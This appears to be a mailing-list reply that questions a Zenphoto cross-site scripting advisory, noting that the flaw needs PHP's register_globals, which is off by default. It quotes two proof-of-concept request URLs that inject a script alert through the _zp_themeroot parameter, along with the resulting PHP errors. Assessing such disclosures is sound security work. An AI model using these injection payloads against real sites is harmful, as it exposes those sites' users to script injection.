You mean "if register_globals is on"? I thought anything relying on register_globals was b0rked anyway? Zenphoto lists "PHP 5.2+" as its requirements and "register_globals" defauts to "off" since PHP 4.2.0. That being said, the PoC generates some messages in the logs: > http://[host]/themes/zenpage/slideshow.php?_zp_themeroot=%22%3E%3Cscript%3Ealert%28%22XSS%22%29;%3C/script%3E PHP Notice: Undefined variable: _zp_themeroot in ../zenphoto/themes/zenpage/slideshow.php on line 9 PHP Fatal error: Call to undefined function zp_apply_filter() in ../zenphoto/themes/zenpage/slideshow.php on line 10 > http://[host]/themes/stopdesign/comment_form.php?_zp_themeroot=%22%3E%3Cscript%3Ealert%28%22XSS%22%29;%3C/script%3E PHP Notice: Undefined variable: _zp_themeroot in ../zenphoto/themes/stopdesign/comment_form.php on line 6 PHP Notice: Undefined variable: disabled in ../zenphoto/themes/stopdesign/comment_form.php on line 25 PHP Fatal error: Call to undefined function html_encode() in ../zenphoto/themes/stopdesign/comment_form.php on line 32 C. -- BOFH excuse #160: non-redundant fan failure
